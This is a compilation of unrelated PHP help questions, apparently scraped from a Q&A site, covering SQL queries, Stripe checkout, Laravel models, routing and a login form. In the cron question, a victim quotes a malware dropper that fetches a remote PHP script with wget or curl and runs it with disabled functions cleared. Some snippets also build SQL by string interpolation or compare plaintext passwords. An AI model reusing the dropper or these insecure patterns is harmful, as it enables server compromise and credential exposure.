Result of multiple querys based on other querys values in PHP

I have a php that receive from a form some values as variables, i make a query with this values and show them in a table. PHP code is:

 $sql1="SELECT via,codvia,cp,municipio,provincia,( 6371000 * acos(cos(radians($gslat)) * cos(radians(lat)) * cos(radians(lng) - radians($gslng)) + sin(radians($gslat)) * sin(radians(lat)))) AS distancia
FROM $tabla where municipio ='$gsmunicipio' HAVING distancia < 500 ORDER BY distancia";
 
$result = mysqli_query($con, $sql1);
echo "<div class='table-responsive'>";
echo "<table class='table'>
<thead class='thead-dark'>
<tr>
<th scope='col'>Vía</th>
<th scope='col'>CodVia</th>
<th scope='col'>Distancia</th>
</tr>
</thead>
<tbody>";
while ($row = mysqli_fetch_array($result)) {
echo "<tr>";
echo "<td scope='col'>" . $row['via'] . "</td>";
echo "<td scope='col'>" . $row['codvia'] . "</td>";
echo "<td scope='col'>" . $row['distancia'] . "</td>";
echo "</tr>";
}
echo "</tbody></table>";
echo "</div>";

It returns the next data:

via                 codvia  distancia   
ANTONIO DE LEYVA        00460   12.20611003690737
SANTA MARIA DE LA CABEZA    01064   230.34840588687064
ANTONIO DE LEYVA        00460   233.86739822576007
MARQUESA DE SILVELA         03899   287.57855871469
DOCTOR CARMENA RUIZ         01727   348.5000437937512
BALEARES            00699   430.2384750664121
ENRIQUE FUENTES         01968   463.78877067869473
SAN MAGIN           05512   479.92500262187957
ALEJANDRO SANCHEZ       00173   495.8582670209417

With each codvia value, i need send a query to another table (t2) to obtain oter values from a column called “secc”. The query in mysql will be:


SELECT
DISTINCT(secc)
FROM t2
where
cpro=28 and cmum=079 and codvia in (00460,01064,00460,03899,01727,06312,00699,01968,05512,00173); 

This returns:

secc
2807911036
2807911037
2807911038
2807911039
2807911034
2807911035
2807911029
2807911024
2807911023
2807911022
2807911010
2807911011
2807911013

For each secc, i must obtain another valuer from table “t3”. The query y tested in mysql is:

SELECT
Seccs,Total
FROM t3
where cprov=28 and cmun=079 and
Seccs in (2807911036,2807911037,2807911038,2807911039,2807911034,2807911035,2807911029,2807911024,2807911023,2807911022,2807911010,2807911011,2807911013);

And returns:

Seccs       Total   
2807911010  820
2807911011  823
2807911013  1493
2807911022  1538
2807911023  1332
2807911024  1425
2807911029  872
2807911034  1076
2807911035  1217
2807911036  1314
2807911037  1412
2807911038  1114
2807911039  2199

I need help to or make all in only one query and put it in my php file, or how in php from the first results, show in separate tables the other values.

First, i recevice from the first query the codvia. This codvia returns me secc of each via, and with this seccs i obtain Total values.
I’m missing.

Stripe payment gateway intergation issue in php codeigniter

i am trying to integrate stripe payment gateway to my codeigniter project, i did the following in my checkout page:

(function() {
  'use strict';

  $('[data-toggle="popover"]').popover()

  window.addEventListener('load', function() {
    // Fetch all the forms we want to apply custom Bootstrap validation styles to
    var forms = document.getElementsByClassName('needs-validation');

    // Loop over them and prevent submission
    var validation = Array.prototype.filter.call(forms, function(form) {
      form.addEventListener('submit', function(event) {
        if (form.checkValidity() === false) {
          event.preventDefault();
          event.stopPropagation();
        } else {
          event.preventDefault();

          $.blockUI({
            css: {
              border: 'none',
              padding: '15px',
              backgroundColor: '#000',
              '-webkit-border-radius': '10px',
              '-moz-border-radius': '10px',
              opacity: .5,
              color: '#fff'
            }
          });

          // createToken returns immediately - the supplied callback submits the form if there are no errors
          Stripe.card.createToken({
            number: $('.cc-number').val(),
            cvc: $('.cc-cvc').val(),
            exp_month: $('.cc-month').val(),
            exp_year: $('.cc-year').val(),
            name: $('.cc-name').val(),
          }, stripeResponseHandler);

          $.unblockUI();

          return false; // submit from callback
        }
        form.classList.add('was-validated');
      }, false);
    });

  }, false);
})();





window.appFilePath = '<?php echo base_url(); ?>';
var stripeForm = $('.needs-validation');

// this identifies your website in the createToken call below
Stripe.setPublishableKey(stripeForm.data('stripe-publishable-key'));

function stripeResponseHandler(status, response) {

  var stripeError = $('.alert-danger');
  var stripeSuccess = $('.alert-success');

  if (response.error) {

    stripeError.show().delay(3000).fadeOut();
    $('#errorMsg').text(response.error.message);

  } else {

    var token = response['id'];
    stripeForm.append("<input type='hidden' name='stripeToken' value='" + token + "' />");
    var dataPost = [];
    dataPost.push({
      name: 'vid',
      value: '<?=$this->session->userdata('
      id ')?>'
    });
    dataPost.push({
      name: 'plan',
      value: '<?=$_POST['
      plan ']?>'
    });
    dataPost.push({
      name: 'planamount',
      value: '<?=$_POST['
      amount ']?>'
    });
    dataPost.push({
      name: 'pid',
      value: '<?=$_POST['
      pid ']?>'
    });

    var dataPost = stripeForm.serializeArray();

    $.post(appFilePath + "home/stripePost", dataPost, function(response) {
      $.unblockUI();

      if (response.success) {
        stripeForm[0].reset();
        stripeSuccess.show().delay(3000).fadeOut();
        $('#successMsg').text(response.message);

        // Redirect to success page after showing success message
        setTimeout(function() {
          window.location.href = '<?php echo site_url("home/success"); ?>';
        }, 2000);
      } else {
        stripeError.show().delay(3000).fadeOut();
        $('#errorMsg').text(response.message);
      }
    }, "json").fail(function(xhr, textStatus, errorThrown) {
      // Log the error details to the console
      console.error("AJAX Request Failed:", textStatus, errorThrown);
    });


  }
}

// only numbers are allowed
$(".number").keydown(function(e) {
  // Allow: backspace, delete, tab, escape, enter and .
  if ($.inArray(e.keyCode, [46, 8, 9, 27, 13, 110, 190]) !== -1 ||
    // Allow: Ctrl+v, Command+V
    (e.keyCode == 118 && (e.ctrlKey === true || e.metaKey === true)) ||

    // Allow: Ctrl+V, Command+V
    (e.keyCode == 86 && (e.ctrlKey === true || e.metaKey === true)) ||

    // Allow: Ctrl+A, Command+V
    ((e.keyCode == 65 || e.keyCode == 97 || e.keyCode == 103 || e.keyCode == 99 || e.keyCode == 88 || e.keyCode == 120) && (e.ctrlKey === true || e.metaKey === true)) ||

    // Allow: home, end, left, right, down, up
    (e.keyCode >= 35 && e.keyCode <= 40)) {
    // let it happen, don't do anything
    return;
  }
  // Ensure that it is a number and stop the keypress
  if ((e.shiftKey || (e.keyCode < 48 || e.keyCode > 57)) && (e.keyCode < 96 || e.keyCode > 105)) {
    e.preventDefault();
  }
});

my controller function is like:

  public function stripePost()
    {
        //include Stripe PHP library
        require_once APPPATH.'third_party/stripe-php/init.php';

        StripeStripe::setApiKey($this->config->item('stripe_secret'));

        $message = null;
        $success = false;
        $charge = null;
        $err = null;
        $data = [];

        try {

            //Creates timestamp that is needed to make up orderid
            $timestamp = strftime('%Y%m%d%H%M%S');
            //You can use any alphanumeric combination for the orderid. Although each transaction must have a unique orderid.
            $orderid = $timestamp.'-'.mt_rand(1, 999);

            //charge a credit or a debit card
            $charge = StripeCharge::create([
                'amount'      => $this->input->post('amount') * 100,
                'currency'    => 'usd',
                'source'      => $this->input->post('stripeToken'),
                'description' => 'UpkeeProperties Plan PAYMENT',
                'metadata'    => [
                    'order_id' => $orderid,
                ],
            ]);
        } catch (StripeErrorCard $e) {
            // Since it's a decline, StripeErrorCard will be caught
            $body = $e->getJsonBody();
            $err = $body['error'];

            /* print('Status is:' . $e->getHttpStatus() . "n");
            print('Type is:' . $err['type'] . "n");
            print('Code is:' . $err['code'] . "n");

            // param is '' in this case
            print('Param is:' . $err['param'] . "n");
            print('Message is:' . $err['message'] . "n"); */

            $message = $err['message'];
        } catch (StripeErrorRateLimit $e) {
            // Too many requests made to the API too quickly
        } catch (StripeErrorInvalidRequest $e) {
            // Invalid parameters were supplied to Stripe's API
        } catch (StripeErrorAuthentication $e) {
            // Authentication with Stripe's API failed
            // (maybe you changed API keys recently)
        } catch (StripeErrorApiConnection $e) {
            // Network communication with Stripe failed
        } catch (StripeErrorBase $e) {
            // Display a very generic error to the user, and maybe send
            // yourself an email
        } catch (Exception $e) {
            // Something else happened, completely unrelated to Stripe
        }

        if ($charge) {
            //retrieve charge details
            $chargeJson = $charge->jsonSerialize();

            //check whether the charge is successful
            if ($chargeJson['amount_refunded'] == 0 && empty($chargeJson['failure_code']) && $chargeJson['paid'] == 1 && $chargeJson['captured'] == 1) {

                // insert response into db
                $this->product->response = json_encode($chargeJson);
                    $this->product->amount = $this->session->flashdata('planamount');
                $this->product->plan = $this->session->flashdata('plan');
                $this->product->vid = $this->session->flashdata('vid');
                $this->product->pid = $this->session->flashdata('pid');
                $this->product->dater = date('Y-m-d');
                $this->product->status = TRANS_SUCCESS;
                $this->product->insert_transaction();

                $data = [
                    'balance_transaction' => $chargeJson['balance_transaction'],
                    'receipt_url'         => $chargeJson['receipt_url'],
                    'order_id'            => $orderid,
                ];

                $success = true;
                $message = 'Payment made successfully.';
            } else {

                // insert response into db
                 $this->product->response = json_encode($chargeJson);
               $this->product->amount = $this->session->flashdata('planamount');
                $this->product->plan = $this->session->flashdata('plan');
                $this->product->vid = $this->session->flashdata('vid');
                $this->product->pid = $this->session->flashdata('pid');
                $this->product->dater = date('Y-m-d');
                $this->product->status = TRANS_FAIL;
                $this->product->insert_transaction();

                $success = true;
                $message = 'Something went wrong.';
            }
        }

        if ($success) {
            echo json_encode(['success' => $success, 'message' => $message, 'data' => $data]);
        } else {
            // insert response into db
            $this->product->response = json_encode($err);
            $this->product->status = TRANS_FAIL;
            $this->product->insert_transaction();

            echo json_encode(['success' => $success, 'message' => $message, 'data' => $data]);
        }
    }

this was working fine in test keys, it showed errors and when it was success it took to success page, now i made keys to live in config.php, now the issue is its not showing any errors or if the payment is success its not taking to success page or getting saved to database even though payment is cut from bank and its showing in stripe dashoard, i get only this error in console,

POST https://landlord.upkeeproperty.com/home/stripePost 500 (Internal Server Error)
AJAX Request Failed: error Internal Server Error

what could be the issue, thanks in advance

Fatal error: Array and string offset access syntax with curly braces is no longer supported [duplicate]

I’m having trouble when creating features in the helper so

Fatal error: Array and string offset access syntax with curly braces is no longer supported in C:UsersModern14OneDriveDocumentssapresensigpsappHelperhelpers.php on line 91
image code error
error runing
how do I solve an error like this

I want the code to run so that it can call the desired data based on the array.

PHP IMAP embeded images as an attachments

I’m using a package https://www.php-imap.com/ I have an email with embedded images starting with imap// but when I read the HTML Content it just shows me the cid: code like.
embedded email image code

but when I inspect it in Thunderbird shows me something like this
enter image description here

Now the issue is this package gives me this image as an attachment and I’m storing these attachments in DB when I get embedded images as an attachment it causes an issue validating the actual attachments I don’t want the embedded images just want actual attachments.

$this->saveAttachments($message->getAttachments(), $contactMoment);
private function saveAttachments(AttachmentCollection $attachmentCollection, Model $model): void
    {
        $disk = config('filesystems.default');
        if (config('services.sharepoint.enabled')) {
            $disk = 'sharepoint';
        }
        foreach ($attachmentCollection as $attachment){
            dump([
                'Attachments' => [
                    'Size' => $attachment->getSize(),
                    'Name' => $attachment->getName(),
                    'Mime' => $attachment->getMimeType()
                ]
            ]);
            $mimeType = $attachment->getMimeType();
            $size     = $attachment->getSize();
            $name     = $attachment->getName();
            $content  = $attachment->getContent();
            if (isset($attachment->getAttributes()['modification-date'])){
                $modified_date = $attachment->getAttributes()['modification-date']->toString();
            }else{
                $modified_date = Carbon::now()->format('Y-m-d H:i:s');
            }
            $message_id = md5($content.$modified_date);
            $docx = Documents::where([
                'attachment_id' => $message_id,
            ])->exists();
            if(!$docx){
                if(!is_dir(storage_path('documents'))){
                    mkdir(storage_path('documents'), 0777);
                }
                file_put_contents(storage_path('documents/'.$name), $content);
                $file_path = sprintf(
                    "documents/%s/%s",
                    $this->currentProject->code,
                    $name
                );
                $link = Storage::disk($disk)->put(
                    $file_path
                    , file_get_contents(storage_path('documents/'.$name)));
                unlink(storage_path('documents/'.$name));
                $storedDocument = Documents::create([
                    'attachment_id' => $message_id,
                    'path'          => $file_path,
                    'size'          => $size,
                    'name'          => $name,
                    'mimetype'      => $mimeType,
                    'type'          => $disk
                ]);
                $storedDocument->contactmoments()->syncWithoutDetaching([$model->id]);
            }
        }
    }

Prevent malicious execution in Cron

I use cPanel and apache.
I see this process in my server:

opt/cpanel/ea-php74/root/usr/bin/php -d disable_functions= /tmp/codeItems3
root     17549  0.0  0.0  27180   972 ?        Ss   Apr16   0:00 jailshell (amolnxxx) [17581] ll -c sleep 3; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.X.x/start.php?v=1  curl -s --compressed --max-time 30 http://45.140.X.X/start.php?v=1 > /tmp/codeItems3 ) && ( /usr/local/bin/php -d disable_functions="" /tmp/codeItems3  /usr/bin/php -d disable_functions="" /tmp/codeItems3 || php -d disable_functions="" /tmp/codeItems3 )

What is the problem? How do I stop it?

multiple classes in one model file – Laravel 11

**appmodelscategories.php**

<?pp
namespace AppModels;
use IlluminateDatabaseEloquentFactoriesHasFactory;
use IlluminateDatabaseEloquentModel;

class categories extends Model
{
    use HasFactory;
 
}

class users extends Model
{
    use HasFactory;
 
}


**apphttpcontrollerscategory.php
**

<?php
namespace AppHttpControllers;
use IlluminateDatabaseEloquentModelNotFoundException;

use AppModelscategories;
 
class category
{
    public static function category_list()
    {
        $posts = categories::all();
        return($posts);
    }

    public static function single_data($ret_dat)
    {
        $posts1 = categories::where('id','>',$ret_dat)->firstOrFail();
        return($posts1);
    }
}

class users
{
    public static function users_list()
    {
        $user_list = users::all();
        return($user_list);
    }

    
}

**resourcesviewscategory.blade.php**

<?php

use AppHttpControllerscategory;

$users = users::users_list();
echo "Full Users <br>";
foreach($users as $users_li)
{
  echo $users_li->id." -- ".$users_li->name;
}

Getting Error of ‘Class “users” not found’. Can anybody help to solve this issue?

Getting Error of ‘Class “users” not found’. Can anybody help to solve this issue? everything works fine other than this error. The first class category works fine. the second class is not working.

How to make a website restricted only for users that are logged in? [closed]

So i made a website to test a login system for my project and after some work with myysql and php i made a working login system. The only problem is that I don’t know how to restrict a website only for users that are logged in. Below is the code of the login page itself and the authentication.php.

index.php (login):

<html>  
<head>  
    <title>PHP login system</title>  
    <link rel = "stylesheet" type = "text/css" href = "style.css">   
</head>  
<body>
    <div id = "frm">  
        <h1>Login</h1>  
        <form name="f1" action = "authentication.php" onsubmit = "return validation()" method = "POST">  
            <p>  
                <label> UserName: </label>  
                <input type = "text" id ="user" name  = "user" />  
            </p>  
            <p>  
                <label> Password: </label>  
                <input type = "password" id ="pass" name  = "pass" />  
            </p>  
            <p>     
                <input type =  "submit" id = "btn" value = "Login" />  
            </p>  
        </form>  
    </div>   
    <script>  
            function validation()  
            {  
                var id=document.f1.user.value;  
                var ps=document.f1.pass.value;  
                if(id.length=="" && ps.length=="") {  
                    alert("User Name and Password fields are empty");  
                    return false;  
                }  
                else  
                {  
                    if(id.length=="") {  
                        alert("User Name is empty");  
                        return false;  
                    }   
                    if (ps.length=="") {  
                    alert("Password field is empty");  
                    return false;  
                    }  
                }                             
            }  
        </script>  
</body>     
</html>  

authentication.php:

<?php     
    include('connection.php');  
    $username = $_POST['user'];  
    $password = $_POST['pass'];  
      
        //to prevent from mysqli injection  
        $username = stripcslashes($username);  
        $password = stripcslashes($password);  
        $username = mysqli_real_escape_string($con, $username);  
        $password = mysqli_real_escape_string($con, $password);  
      
        $sql = "select *from login where username = '$username' and password = '$password'";  
        $result = mysqli_query($con, $sql);  
        $row = mysqli_fetch_array($result, MYSQLI_ASSOC);  
        $count = mysqli_num_rows($result);  
          
        if($count == 1){  
            header("location:site.php");
        }  
        else{
            $user='0';  
            header("location:index.php");
        }     
?>   

site.php (the site you should se after logging in)

<?php
echo"example website";
?>

So I want authentication.php to redirect me to site.php and prevention from user accesing site.php directly without logging in (the user should login everytime he wants to access the site.

Warning: Trying to access array offset on null in & Warning: Undefined array key “hotspot_offset_x” in [duplicate]

When updating to the newest PHP version (8.3.4), I get trouble with an Elementor module in the PHP file. I’m not experienced with PHP so I understand partly what the problem is but not how to fix it.

Warning: Undefined array key “hotspot_offset_x” in
/var/www/vhosts/happy-anders.nl/httpdocs/wp-content/plugins/elementor-pro/modules/hotspot/widgets/hotspot.php
on line 1012

Warning: Trying to access array offset on null in
/var/www/vhosts/happy-anders.nl/httpdocs/wp-content/plugins/elementor-pro/modules/hotspot/widgets/hotspot.php
on line 1012

Warning: Undefined array key “hotspot_offset_y” in
/var/www/vhosts/happy-anders.nl/httpdocs/wp-content/plugins/elementor-pro/modules/hotspot/widgets/hotspot.php
on line 1013

Warning: Trying to access array offset on null in
/var/www/vhosts/happy-anders.nl/httpdocs/wp-content/plugins/elementor-pro/modules/hotspot/widgets/hotspot.php
on line 1013`

// Hotspot
        foreach ( $settings['hotspot'] as $key => $hotspot ) :
            $is_circle = ! $hotspot['hotspot_label'] && ! $hotspot['hotspot_icon']['value'];
            $is_only_icon = ! $hotspot['hotspot_label'] && $hotspot['hotspot_icon']['value'];
            $hotspot_position_x = '%' === $hotspot['hotspot_offset_x']['unit'] ? 'e-**line 1012** hotspot--position-' . $hotspot['hotspot_horizontal'] : '';
            $hotspot_position_y = '%' === $hotspot['hotspot_offset_y']['unit'] ? 'e-**line 1013** hotspot--position-' . $hotspot['hotspot_vertical'] : '';
            $is_hotspot_link = ! empty( $hotspot['hotspot_link']['url'] );
            $hotspot_element_tag = $is_hotspot_link ? 'a' : 'div';

I tried to go back to the outdated version of PHP, but I know that’s not a good solution.

PHP – Code only executes when error is thrown [closed]

The issue is that the code in router.php only executes successfully if the code throws an error. This means that the http://localhost/test/db endpoint is returning a 200 Status OK (see bottom of post) response only when an error is thrown, and not when no error is thrown. I run my site on http://localhost/test/.

I enabled the following error reporting configurations in php.ini, but the error.log and access.log shows no error:

error_reporting = E_ALL
display_errors = On
display_startup_errors = On
log_errors = On

I use the Bramus router library in the router.php file, but I doubt that is related to the issue: https://github.com/bramus/router. These are my affected files:

test.conf (enabled)

Alias /test "/var/www/html/test"

<Directory "/var/www/html/test">
 AllowOverride None
 Options Indexes FollowSymLinks
 Require all granted

 # Required for Bramus router
 RewriteEngine On
 RewriteCond %{REQUEST_FILENAME} !-f
 RewriteCond %{REQUEST_FILENAME} !-d
 RewriteRule . index.php [L]

/var/www/html/test/index.php

<?php
require 'router.php';

// Create Router instance
$router = new Router();

// Run it!
$router->run();
?>

/var/www/html/test/router.php

<?php
require __DIR__ . '/libraries/Bramus/Router.php';
require_once("database.router.php");

class Router {

    var $router = null;

    function __construct() {

        // Create Router instance
        $this->router = new BramusRouterRouter();

        $this->debug_to_console("This is never printed to console...");

        // If I uncomment below line, the code is executed (and throws an error because it should be $this->debug_to_console("..."))
        // debug_to_console("Testing...");

        new DatabaseRouter($this->router);

        // Set default 404
        $this->router->set404(function () {
            header("HTTP/1.1 404 Not Found");
            exit();
        });
    }
    
    function debug_to_console($data) {
        $output = $data;
        if (is_array($output))
            $output = implode(',', $output);

        echo "<script>console.log('Debug Objects: " . $output . "' );</script>";
    }

    function run() {
        $this->router->run();
    }
}
?>

/var/www/html/test/database.router.php

<?php
class DatabaseRouter
{
    function __construct($router) 
    {
        $router->get('/db', function() {
            echo true;
        });
    }
}
?>

Here is proof of different GET response codes when performing curl GET requests to the http://localhost/test/db endpoint with debug_to_console("Testing..."); commented and uncommented in router.php (this is the only code change done to result in either a 200 or 404 response doing a GET request)

This is with debug_to_console(“Testing…”); commented in router.php

root@ubuntu:~$ curl -I http://localhost/test/db
HTTP/1.1 404 Not Found
Date: Sun, 21 Apr 2024 09:13:17 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: PHPSESSID=iviq2fkk1ts3nu5ki8fjc5k2qv; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8

Error log shows nothing added while doing this request.

This is with debug_to_console(“Testing…”); commented out in router.php

root@ubuntu:~$ curl -I http://localhost/test/db
HTTP/1.1 200 OK
Date: Sun, 21 Apr 2024 09:14:24 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: PHPSESSID=dmvqs7jea58puv67o23l6os1mm; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8

Error log shows the following information:

[Sun Apr 21 09:22:42.912553 2024] [php:error] [pid 1005114] [client 192.168.8.0:34000] PHP Fatal error:  Uncaught Error: Call to undefined function debug_to_console() in /var/www/html/test/router.php:17nStack trace:n#0 /var/www/html/test/index.php(5): Router->__construct()n#1 {main}n  thrown in /var/www/html/test/router.php on line 17, referer: http://localhost/test

Thankful for all help! Please let me know if you need more debugging information.

How does WordPress know which rewrite rule to use when posts, pages and categories have no base slug?

Lets say that that a post URL is https://example.com/the-post/, page URL is https://example.com/the-page/ and the category URL is https://example.com/the-category/. How does WordPress know which rewrite rule to use so It doesn’t accidently return 404, because I want to add some custom post type and custom taxonomies with no base slug e.g. https://example.com/the-custom-post/, https://example.com/the-custom-taxonomy/. How should I add the rewrite rule so It doesn’t overrules/underruled by other posts, pages and category rewrite rules and return 404 page.

I have tried many ways to add rewrite rules but they always overrule other posts, pages and categories or are underruled.

Error when moving variable to another page [duplicate]

On one page I have this button:

<a href="add_purchase_detail.php?purchase_id=<?php echo (int)$id_purchase; ?>" class="btn btn-primary">Agregar producto</a>

And on the landing page I pick it up like this:

$id_purchase=$_GET["purchase_id"];

But he doesn’t admit it to me:

Warning: Trying to access array offset on value of type bool in C:xampphtdocssistemaincludessql.php on line 133

Warning: Undefined array key “purchase_id” in C:xampphtdocssistemaadd_purchase_detail.php on line 5

Fatal error: Uncaught mysqli_sql_exception: Cannot add or update a child row: a foreign key constraint fails (sistema.purchase_details, CONSTRAINT purchase_details_ibfk_1 FOREIGN KEY (purchase_id) REFERENCES purchases (id) ON DELETE CASCADE ON UPDATE CASCADE) in C:xampphtdocssistemaincludesdatabase.php:28 Stack trace: #0 C:xampphtdocssistemaincludesdatabase.php(28): mysqli->query(‘INSERT INTO pur…’) #1 C:xampphtdocssistemaadd_purchase_detail.php(25): MySqli_DB->query(‘INSERT INTO pur…’) #2 {main} thrown in C:xampphtdocssistemaincludesdatabase.php on line 28

I’ve tried request and get, but it’s the same thing.
Also, I don’t know how to fix the problem of the alien key.

By placing this, it no longer tells me that the variable doesn’t exist, but the other errors remain the same:

$id_purchase=isset($_GET['purchase_id']) ? $_GET['purchase_id'] : '';

compiling shared php-module as dll (windows)

i’m trying to compile a shared extension for php 8.3.6 x64 for windows
i basicly followed these instructions: https://ourcodeworld.com/articles/read/804/how-to-compile-a-php-extension-dll-file-in-windows-with-visual-studio#disqus_thread

Problem: PHP Warning: PHP Startup: Unable to load dynamic library 'php_mailparse.dll' (tried: ./extphp_mailparse.dll (Die angegebene Prozedur wurde nicht gefunden)) in Unknown on line 0

so what did i do:

  • installed basic components of Visual Studio 2019
  • create folder c:php-sdk
  • extracted php-source from https://www.php.net/distributions/php-8.3.6.tar.gz into php-sdk
  • extracted contents of https://pecl.php.net/get/mailparse-3.1.6.tgz to php-sdk/ext/mailparse
    as of instructions i should run buildconf and configure, what it said binary tools are missing, so
  • downloaded https://github.com/php/php-sdk-binary-tools and extracted to php-sdk/php-sdk-binary-tools-master
  • open vs command prompt
  • goto php-sdk/php-sdk-binary-tools-master
  • run phpsdk-vs16-x64.bat
  • go back to php-sdk
  • run configure --disable-all --enable-cli --enable-mbstring --enable-mailparse --disable-zts --with-all-shared
    output:
-----------------------
| Extension  | Mode   |
-----------------------
...
| mailparse  | shared |
...
-----------------------


Enabled SAPI:
-------------
| Sapi Name |
-------------
| cli       |
-------------

-----------------------------------------
| Build type          | Release         |
| Thread Safety       | No              |
| Compiler            | Visual C++ 2019 |
| Target Architecture | x64             |
| Host Architecture   | x64             |
| Optimization        | PGO disabled    |
| Native intrinsics   | SSE2            |
| Static analyzer     | disabled        |
-----------------------------------------
  • run nmake

now in php-sdkx64Release i found a php_mailparse.dll, but this dll gives me the error written at the beginning … anybody know what i’ve done wrong?

PHP Header redirect doesn’t work when file upload is implemented [duplicate]

I have the following issue that I’ve been struggling with for hours now and just can’t seem to get past: I have an HTML form that, upon submission, saves the entered data to a database. After submission, a redirection should occur using the header function in the PHP script. The form includes an option to upload a file. The problem now is that the redirection no longer works once a file is uploaded. The file is indeed saved correctly in the target folder, and the file path is also saved in the database, but instead of redirecting to the URL specified in the header function, only the form is reset. When the form is submitted without selecting a file, the redirection works without any issues.

I’ve also tried using output buffering and checking for whitespaces etc. but without success. Also the community thread here on stackoverflow regarding problems with redirects didn’t help.I don’t get any error messages and the ‘Headers already sent’ check gives no output.
I hope someone can help me solve the problem. Thanks in advance. Here is the PHP code:

<?php
include '../data/testconnect.php'; 

if ($_SERVER["REQUEST_METHOD"] == "POST") {

    $fotoPath = NULL;

    if (isset($_FILES['foto']) && $_FILES['foto']['error'] == UPLOAD_ERR_OK) {
        $uploadDir = '../assets/img/passbilder/';
        $tmpName = $_FILES['foto']['tmp_name'];
        $fileName = basename($_FILES['foto']['name']);
        $safeFileName = preg_replace('/[^a-zA-Z0-9-_.]/', '', $fileName);
        $uploadFile = $uploadDir . $safeFileName;

        if (move_uploaded_file($tmpName, $uploadFile)) {
            $fotoPath = $uploadFile; 
        } else {
            die("An error occured.");
        }
    }

    $name = $_POST['name'];
    $birthdate = $_POST['birthdate'];
    $ort = $_POST['ort'];
    $street = $_POST['street'];
    $hausnummer = $_POST['hausnummer'];
    $stadt = $_POST['stadt'];
    $plz = $_POST['plz'];
    $phone = $_POST['phone'];
    $email = $_POST['email'];
    $type = $_POST['type'];
    $bauart_typ = $_POST['bauart_typ'];
    $exam_date = $_POST['exam_date'];
    $reg_nr = $_POST['reg_nr'];
    $password = password_hash($_POST['password'], PASSWORD_DEFAULT);

    $sql = "INSERT INTO users (name, birthdate, ort, foto, street, hausnummer, stadt, plz, phone, email, type, bauart_typ, exam_date, reg_nr, password)
            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)";
    $stmt = $conn->prepare($sql);
    if (false === $stmt) {
        die('MySQL prepare error: ' . $conn->error);
    }

    $stmt->bind_param("sssssssisssssss", $name, $birthdate, $ort, $fotoPath, $street, $hausnummer, $stadt, $plz, $phone, $email, $type, $bauart_typ, $exam_date, $reg_nr, $password);
    $stmt->execute();

    $stmt->close();
    $conn->close();

    header("Location: https://www.google.de");
    exit;
}
?>

Laravel query relationship with different connection not working

I’m using Laravel 11, Oracle Database for my project. I have some models:

class Order extends Eloquent
{
    use HasFactory;

    protected $connection = 'db_order';
    protected $table = 'orders';

    public function event()
    {
        return $this->belongsTo(Event::class, 'event_id', 'id');
    }
}
class Event extends Eloquent
{
    use HasFactory;

    protected $connection = 'db_event';
    protected $table = 'events';

    public function orders()
    {
        return $this->hasMany(Order::class);
    }
}

I want to query list orders with search by Event name. This is my query:

$query = Order::with('event');

if (isset($request->name_search)) {
    $searchText = "'%".trim($request->name_search)."%'";

    $query->where('id', 'like', $searchText)
        ->orWhere('transaction_id', 'like', $searchText)
        ->orWhere('user_id', 'like', $searchText)
        ->orWhere('customer_name', 'like', $searchText)
        ->orWhereHas('event', function($q) use ($searchText) {
            $q->where('name', 'like', $searchText);
        });
    }
}

$orders = $query->orderBy('orders.id', 'DESC')->paginate(20);

But i got error:

Error Code : 942 Error Message : ORA-00942: table or view does not exist Position : 166 Statement : select count(*) as aggregate from “ORDERS” where “ID” like :p0 or “TRANSACTION_ID” like :p1 or “USER_ID” like :p2 or “CUSTOMER_NAME” like :p3 or exists (select * from “EVENTS” where “ORDERS”.”EVENT_ID” = “EVENTS”.”ID” and “NAME” like :p4) Bindings : [‘%abc%’,’%abc%’,’%abc%’,’%abc%’,’%abc%’]

SELECT
  count(*) AS aggregate
FROM
  "ORDERS"
WHERE
  "ID" LIKE '%abc%'
  OR "TRANSACTION_ID" LIKE '%abc%'
  OR "USER_ID" LIKE '%abc%'
  OR "CUSTOMER_NAME" LIKE '%abc%'
  OR EXISTS (
    SELECT
      *
    FROM
      "EVENTS"
    WHERE
      "ORDERS"."EVENT_ID" = "EVENTS"."ID"
      AND "NAME" LIKE '%abc%'
  )

How can it fix it?